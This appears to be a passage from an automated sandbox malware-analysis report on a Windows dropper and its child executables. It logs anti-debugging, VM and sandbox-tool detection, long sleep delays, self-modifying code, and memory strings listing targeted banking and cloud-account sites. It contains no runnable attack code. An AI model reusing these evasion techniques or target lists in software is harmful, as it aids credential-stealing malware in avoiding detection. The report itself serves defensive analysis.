Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C26E08 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C4EE87 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Special instruction interceptor: First address: D2EE8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Special instruction interceptor: First address: D2ED82 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Special instruction interceptor: First address: D2C1F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Special instruction interceptor: First address: F00CCD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Special instruction interceptor: First address: D2EDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Special instruction interceptor: First address: F5D4EC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Special instruction interceptor: First address: 701C06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Special instruction interceptor: First address: 8ADBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Special instruction interceptor: First address: 8D26EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 46EE8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 46ED82 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 46C1F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 640CCD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 46EDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Special instruction interceptor: First address: 93E1EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Special instruction interceptor: First address: 939682 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Special instruction interceptor: First address: AE6ECD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 69D4EC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Special instruction interceptor: First address: 773CDF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Special instruction interceptor: First address: 916E08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Special instruction interceptor: First address: 93EE87 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Special instruction interceptor: First address: 1171C06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Special instruction interceptor: First address: 131DBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Special instruction interceptor: First address: 13426EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Special instruction interceptor: First address: 13A9682 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Special instruction interceptor: First address: 94EE8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Special instruction interceptor: First address: 94ED82 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Special instruction interceptor: First address: 94C1F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Special instruction interceptor: First address: B20CCD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Special instruction interceptor: First address: 94EDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Special instruction interceptor: First address: B7D4EC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Special instruction interceptor: First address: 431C06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Special instruction interceptor: First address: 5DDBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Special instruction interceptor: First address: 6026EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Special instruction interceptor: First address: 669682 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Special instruction interceptor: First address: B5E1EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Special instruction interceptor: First address: D06ECD instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Memory allocated: 4F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Memory allocated: 5110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Memory allocated: 7110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Memory allocated: 54B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Memory allocated: 56F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Memory allocated: 5540000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe

Code function: 3_2_05670CB4 rdtsc

3_2_05670CB4

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 7442	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	Window / User API: threadDelayed 558

Source: C:\Users\user\Desktop\file.exe TID: 6532	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe TID: 7468	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7608	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7608	Thread sleep time: -118059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep count: 72 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7612	Thread sleep time: -144072s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7596	Thread sleep count: 7442 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7596	Thread sleep time: -14891442s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7616	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7616	Thread sleep time: -134067s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7584	Thread sleep count: 295 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7584	Thread sleep time: -8850000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7708	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7600	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7600	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7596	Thread sleep count: 1235 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7596	Thread sleep time: -2471235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe TID: 7956	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe TID: 6268	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe TID: 7300	Thread sleep time: -114000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe TID: 6948	Thread sleep count: 80 > 30
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe TID: 6948	Thread sleep time: -480000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe TID: 2644	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe TID: 8108	Thread sleep time: -72000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Thread delayed: delay time: 922337203685477

Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000006.00000002.2499298173.00000000005FA000.00000040.00000001.01000000.0000000A.sdmp, 6BWDEAM9H4119O8P9KYSM4M710Q.exe, 6BWDEAM9H4119O8P9KYSM4M710Q.exe, 00000007.00000002.2594084718.0000000000ACB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.3438603582.00000000005FA000.00000040.00000001.01000000.0000000A.sdmp, 36c3130eac.exe, 0000000D.00000002.2998474440.00000000012FE000.00000040.00000001.01000000.00000010.sdmp, ee8d47a049.exe, 0000000E.00000002.3049348656.00000000008F8000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 0000000A.00000002.3448009967.000000000119B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXY
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2199665798.000000000064F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199555514.0000000000631000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199555514.000000000064D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208378374.0000000000631000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208378374.000000000064D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208508823.000000000064F000.00000004.00000020.00020000.00000000.sdmp, PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.00000000010E4000.00000004.00000020.00020000.00000000.sdmp, PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.0000000001115000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000A.00000002.3448009967.00000000011CC000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000A.00000002.3448009967.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2884028726.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: ee8d47a049.exe, 0000000C.00000003.2912826381.0000000005853000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: firefox.exe, 0000001C.00000002.3206999260.000002681FE7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 36c3130eac.exe, 0000000D.00000002.2997022588.000000000072E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: A94C1J5VAPFWM1J1FS.exe, 00000003.00000002.2439557696.0000000000EBA000.00000040.00000001.01000000.00000006.sdmp, PJGT15Z82T6C2GQS.exe, 00000004.00000002.2517010047.000000000088E000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2498618197.00000000005FA000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000006.00000002.2499298173.00000000005FA000.00000040.00000001.01000000.0000000A.sdmp, 6BWDEAM9H4119O8P9KYSM4M710Q.exe, 00000007.00000002.2594084718.0000000000ACB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.3438603582.00000000005FA000.00000040.00000001.01000000.0000000A.sdmp, 36c3130eac.exe, 0000000D.00000002.2998474440.00000000012FE000.00000040.00000001.01000000.00000010.sdmp, ee8d47a049.exe, 0000000E.00000002.3049348656.00000000008F8000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: ee8d47a049.exe, 0000000C.00000003.2912980649.0000000005846000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	Process queried: DebugPort
